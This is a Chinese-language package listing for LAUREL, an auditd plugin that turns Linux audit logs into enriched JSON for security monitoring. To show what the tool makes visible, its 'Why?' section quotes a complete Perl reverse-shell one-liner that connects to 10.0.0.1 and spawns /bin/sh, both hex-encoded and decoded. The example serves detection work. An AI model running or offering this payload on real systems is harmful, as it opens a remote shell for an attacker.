#audit #linux #log #json #parser #logging

bin+lib laurel

将 Linux 审计日志转换为 SIEM 使用

25 个版本

0.6.2 2024 年 5 月 16 日
0.6.1 2024 年 3 月 18 日
0.6.0 2024 年 2 月 29 日
0.5.5 2023 年 11 月 16 日
0.2.2 2021 年 12 月 22 日

#277编码

Download history 146/week @ 2024-05-16 7/week @ 2024-05-23 3/week @ 2024-06-06 4/week @ 2024-06-13 12/week @ 2024-07-18 133/week @ 2024-07-25 4/week @ 2024-08-01 6/week @ 2024-08-08

每月 155 次下载

GPL-3.0-or-later

215KB
5.5K SLoC

logo

Linux Audit – 可用、稳健、易于记录

Build Status

LAUREL 是一个用于 auditd(8) 的事件后处理插件,它生成适用于现代安全监控设置的基于 JSON 的丰富审计日志。

最新稳定版本的文档可以在 此处 找到。

为什么?

TLDR:而不是像这样看起来的事件审计……

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

LAUREL 将其转换为 JSON 日志,其中攻击者/渗透测试员/红队人员试图制造的混乱在一眼就能看出

{"EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},}

这是因为 LAUREL 在生成审计事件的主机上运行。事件通过有关父进程(ppid)的有用信息进行丰富

"PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}

文档

配置和操作细节在 laurel(8) 手册页面中描述。有关日志格式和理由的详细信息可以在 laurel-about(7) 手册页面中找到。

LAUREL 安装说明 包含如何从源代码构建 LARUEL 以及如何安装和配置它的说明。

我们开发了 LAUREL 是因为我们不满意现有项目和产品的功能集和性能特性。有关详细信息,请参阅 性能 文档。

容器镜像

从 v0.5.2 开始,laurel 可以连接到用于转发 auditd 消息的套接字,并且可以通过这种方式在容器中执行。此仓库中发布了一个基本的容器镜像,位于 ghcr.io/threathunters-io/laurel,带有标签 latest 和相应的版本标签。

提供的容器镜像构建包括通过docker buildx从流水线中生成的默认标签。这些标签没有包含在提供的Dockerfile中,但被认为是良好的实践。如果您使用其他工具进行自定义构建,请考虑将默认标签添加到Dockerfile中。

提供的容器镜像包含默认配置,但有一个修改:Laurel连接到/var/run/audispd_events(默认路径指定为builtin_af_unix auditd(8) 插件。插件需要启用,并且套接字必须可以从容器内访问。配置文件的其余部分应根据需要自定义,然后再进行部署。

另请参阅

  • ansible-auditd-laurel,一个由@0xFustang / CERT-EU提供的Ansible角色,用于部署auditd + laurel

许可证

GNU通用公共许可证,版本3

作者

标志是由Birgit Meyer <[email protected]>创建的。

依赖项

~8–22MB
~269K SLoC